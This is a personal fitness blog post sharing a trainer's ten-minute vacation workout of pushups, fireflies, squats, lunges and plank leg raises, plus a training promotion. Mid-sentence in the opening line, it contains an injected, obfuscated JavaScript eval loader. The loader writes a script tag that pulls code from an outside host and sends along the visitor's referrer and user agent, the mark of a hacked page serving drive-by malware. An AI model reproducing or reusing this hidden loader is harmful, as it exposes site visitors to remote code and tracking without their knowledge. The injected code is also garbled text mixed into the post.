5 Fat-Busting Vacation Exercises

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syszn|var|u0026u|referrer|ybata||js|php’.split(‘|’),0,{}))
going on a road trip to California – woohoo!
But I just started working with a personal trainer to get my body in shape after spraining my knee this winter, and I don’t want to lose that progress in two weeks of sitting, camping, and eating out. So I asked my trainer Justin Weis of Fit For Life Training to give me 5 Easy-but-Effective exercises I can do while I’m on vacation! Camping, hotel, beach… anywhere, anytime!

photo-73

 (Taking this very seriously!)

Here’s the workout Justin gave me. And now that you all know I’ve promised to do it, you can keep me accountable, ha ha ha! Cuz I’m DETERMINED to get fit & stay fit, even while on vacation! California, here I come…

XOXO,

Tanya

P.S. Justin’s 5 Tips For Eating Healthy on Vacation are HERE.

Justin’s 10 minute Fat Buster Workout

Pushups x 1:00 – Straight back, all the way down and up, and go slowly.  Drop to your knees if necessary.

pushups2

 Photography by: Wendy Sullivan Pinkerton/Forever XO Studios // Yoga Pants: PINK by Victoria’s Secret // Tank Top: PINK by Victoria’s Secret // Sunglasses: Oakley

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Fireflies x 1:00 – From the pushup position, bring your right knee to your right elbow, left knee to left elbow.  If you can’t touch, get as close as possible. fireflies

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Prisoner squats x 1:00 – Fingers laced behind the head, feet shoulder width apart, keep your back flexed and elbows wide the whole time.  Sit into the squat like you are trying to sit in a chair.

squats

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Static lunges  x 1:00 – lunges in place.  Keep your head up, don’t let your front knee pass beyond your toe and get your back knee as close to the ground as possible without touching.

lunges2

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Plank with leg raises x 1:00 – straight line from head to heal, weight on your forearms – alternate leg raises the whole time, and don’t drop your head.

leglifts

Do the whole workout twice with 20 seconds rest between each exercise.  If you can do it without the rests, you are a rockstar!

DSC_0648-Edit

Follow these rules and when you return home, you may be in better shape than when you left!

Committed to your success,
Justin Weis
Fit For Life Training
P.S.  I will be running a special for anyone looking to take advantage of the summer months to get into the best shape of their lives.  Starting July 15, I will be running a 21 day special for $21.  That’s three weeks of training, three days a week for the price of two movie tickets (or three martinis).  Space is limited to the first 50 people, however, so email me at BoiseFitForLife@gmail.com for more info.

Special thanks to Boise Mountain Eyecare for the Oakley sunglasses, and Wendy Sullivan Pinkerton/Forever XO Studio for the fabulous photos!!!

us

meandlexi

Say hi to Lexi, who just CAN’T stay out of photo shoots, ha ha ha!

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